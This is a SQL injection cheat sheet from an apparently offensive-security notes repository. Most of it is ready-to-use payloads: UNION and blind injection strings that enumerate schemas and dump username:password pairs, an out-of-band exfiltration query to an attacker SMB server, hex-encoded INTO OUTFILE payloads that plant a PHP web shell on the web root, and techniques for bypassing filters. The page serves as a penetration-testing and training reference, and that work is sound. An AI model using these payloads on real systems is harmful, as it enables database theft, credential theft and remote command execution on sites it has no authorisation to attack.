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killchain-compendium/Exploits/Databases/SQL Injection.md

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SQL Injection

In an SQL injection an SQL statement is ended prematurely through setting the quote earlier than intended by the original programmer. The malicious command is then ended by an SQL comment to ignore the following parts of the original SQL statement. A piece of understanding the way of injecting malicious SQL commands is to understand the syntax of MySQL Comments.

Finding an Opportunity

GET parameter

http://example.com/index.php?id=' or 1=1 -- -

Sometimes another parameter may come first

http://example.com/index.php?id=10 or 1=1 -- +
http://example.com/index.php?id=10' or '1'='1'-- -
http://example.com/index.php?id=-1' or 1=1 -- -&password=x

Provoking an error to gain information if an injection might be possible. Check by just putting in a single quote

http://example.com/index.php?id='

Incase of client side sanitization craft the URL instead of using the form!!!

In-Band SQLi

Terminate the string of the SQL command via ' and resolve via tautology like 1=1, comment the rest of the string via --. This defaults to a true statement and delivers a response containing DB content

SELECT * FROM users WHERE username = admin AND password := ' and 1=1 -- -
SELECT * FROM users WHERE username = admin AND password := ' or 1=1 --+

There are further methods of SQL injection following below.

Identify Database

The following examples are methods of retrieving the type of DBMS in use.

id=sqlite_version()
id=@@version # mysql/mssql
id=(SELECT banner FROM v$version) # oracle

Union based

Union based injections is an incremental and cautios approach. Start by trying to provoke errors to validate a possible injection.

  • First method check by order until error occurs
' order by 1 -- -
' order by 2 -- -
' order by 3 -- -

Check the number of columns by inserting NULL values one after another.

Second method fuzzing NULL values, followed by fuzzing data types

Check number of cols

' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -
# until the error occurs

Check which one contains String values

' UNION SELECT 'a',NULL,NULL,NULL -- -
' UNION SELECT NULL,'a',NULL,NULL -- -
' UNION SELECT NULL,NULL,'a',NULL -- -
' UNION SELECT NULL,NULL,NULL,'a' -- -

Retrieve content, for cols as an example, or dump database

' UNION SELECT NULL,NULL,database(),NULL,NULL from users -- - //
' UNION SELECT NULL,username,password,NULL FROM users -- - //

Retrieve content by union poking the count and order of columns, afterwards extracting tables via

0 union select null, null, database()
0 union select null, null, group_concat(table_name) from information_schema.tables where table_schema = 'found_db'
0 union select null, null, group_concat(column_name) from information_schema.columns where table_name = 'found_tablename'
0 union select null, null, group_concat(username, ':', password from found_tablename

The examples above contain methods of retrieving table name, column names. The last example uses the information returned to inject the correct column names so the acutal content of them are retrieved. Further examples under SQL Functions

SQL Functions

Use SQL functions to poke the tables & cols via union.

Extract tables

1' and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = database() -- -

SQLite specifica

' UNION SELECT sql, sql FROM sqlite_master -- -

(SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='usertable')
(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%')

Extract columns

1' and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema = database() and table_name ='user'-- -

Extract Data from cols

1' and 1=2 union select 1,group_concat(username,0x3a,password),3,4 from user-- -

Inferential SQLi

The result of the SQLi may not be directly visible but can be measured through side channels like timespan between request and response or by a boolean value.

Boolean True and False

SELECT * FROM users WHERE id = 420 and 69=69
SELECT * FROM users WHERE id = 420 and 1=69

SELECT * FROM users WHERE username = admin AND password :=1' or 1 < 2 --+
SELECT * FROM users WHERE username = admin AND password :=1' or 1 > 2 --+

Blind boolean base substring fuzzes one char at a time, by inspecting the return value after each inserted char.

' UNION SELECT null,null,null where database() like 'da%';-- -

Time Based

Checking input blindly via sleep() function. Count the number of columns in this way. on success, the sleep(5) function executes

' union select sleep(3), null; -- -
' SELECT * from users where id = 420; IF (69=69) WAITFOR DELAY '00:00:03' -- -

Blind injection

A blind injection methods tries to guess characters not by returned values but by how the DB behaves to your request

http://example.com/?id=1' and substr((select database()),1,1) < 105 --+

http://example.com/?id=1' and (ascii(substr((select database(),1,1)) = 115 --+
  • Function substr(string, start, length)
  • sqlmap via --level=5 --risk=3 --dbms=sqlite --technique=b --dump

How do you go forward when you know, that there is a possible boolean blind injection?

You want to get

  • Database name
  • Table name
  • Column name

and watch out for return values, status codes, if you are logged in a session inside the browser, etc., ... .

Start at the databasename character on position 1, after that 2 and so on via a POST request

username=admin'+and+substring(database(),1,1)="a"+#&password='
username=admin'+and+substring(database(),2,1)="b"+#&password='

Next, find the characters of the tablename via

username=admin'+and+substring((select+table_name+from+information_schema.tables+where+table_schema="<found_databasename>"+limit+0,1),1,1)+=+"a"+#&password='
username=admin'+and+substring((select+table_name+from+information_schema.tables+where+table_schema="<found_databasename>"+limit+0,1),2,1)+=+"b"+#&password='

Find the column_name of the table

username=admin'+and+substring((select+column_name+from+information_schema.columns+where+table_name="<found_tablename>"+limit+0,1),1,1)+=+"a"+#&password='
username=admin'+and+substring((select+column_name+from+information_schema.columns+where+table_name="<found_tablename>"+limit+0,1),2,1)+=+"b"+#&password='

Query content of the table and columns found via

username=admin'+and+substring((select+<found_columnname>+from+<found_tablename>+limit+0,1),1,1)="a"+#&password='

Out-of-Band SQLi

Out-of-band requests are injected through a different channel than the resulting response.

Second-Order SQLi

The result is not directly visible, instead some indirect response is executed, maybe at a later stage of the attack through inserting a a SQLi through your original SQLi payload.

Check if an inserted SQL query may be set instead of regular data, e.g. instead of a name and let it be queried via a second step.

Other Communication Channels

Instead of a direct response there may be indirect results possible, like the following.

Write to a file via OUTFILE.

SELECT passwords FROM users INTO OUTFILE '/dev/shm/passwords.txt`

Executing shell commands for extraction through xp_cmdshell on MYSQL.

When using Oracle DBs send your data via UTL_HTTP.BEGIN_REQUEST to an exfiltration target.

Other exfiltration targets may be DNS or SMB servers.

On the attacker side start an SMB server.

impacket-smbserver -smb2support -comment "Attacker SMB" -debug logs /tmp

Execute the following query on the target.

420'; SELECT @@version into outfile '\\\\$ATTACKER_SMB_IP\\logs\\response.txt'; -- -

Value Insertion

Under the right conditions, it is possible to insert information into a table.

Check user file permissions if an insertion is possible

union all select 1,group_concat(user,0x3a,file_priv),3,4 from mysql.user -- -

Insert file through insertion of system() or exec_shell() and a get parameter

<cookieID>'into outfile '/var/www/html/shello.php' lines terminated by 0x3c3f706870206563686f20223c7072653e22202e2073797374656d28245f4745545b22636d64225d29202e20223c2f7072653e223b3f3e -- -

Insert <?php system($_GET["cmd"]); ?>

" Union Select 1,0x201c3c3f7068702073797374656d28245f4745545b2018636d6420195d293b203f3e201d,3,4 INTO OUTFILE '/var/www/html/shell.php' -- -

Further Examples

Sqli inside HTTP request to an API. Five columns in the select have been discovered before

GET /about/0 UNION select column_name, null,null,null,null from information_schema.columns where table_name = 'user' HTTP/1.1

Get column names through the following example.

GET /about/0 UNION all select group_concat(column_name), null,null,null,null from information_schema.columns where table_name = 'user' HTTP/1.1

Get rows from users by id

GET /about/0 UNION all select notes, null, null, null, null from users where id = 4711 HTTP/1.1

Filter Bypass

Bypass may be possible through character encodings like

  • Percent/URL
  • Hex
  • Unicode

To bypass quote filtering use the following methods.

  • Numerical values which do not need quotes like 420=420
  • SQL comments username --
  • Create the username through CONCAT(0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d 0x65)

To bypass space filtering use the following methods.

  • Open and close a comment instead of using a space -> /**/
  • Use \t or \n instead of space
  • Encode the space or alternative \t or \n character, e.g. %0A

To bypass keyword removal use the following methods.

  • Use a comment in the midst of the keyword that would be removed -> un/**/ion
  • Write the keyword in unusual lower and uppercase characters -> uNiOn
  • Use Concat(), to create the keyword, e.g. CONCAT(0x61, 0x64, 0x6D, 0x69, 0x6E) or CONCAT('u','n','i','o','n')
  • Use Encodings for the keyword

Use logical operate instead of english keywords, e.g. && instead of and.

Payloads

Tools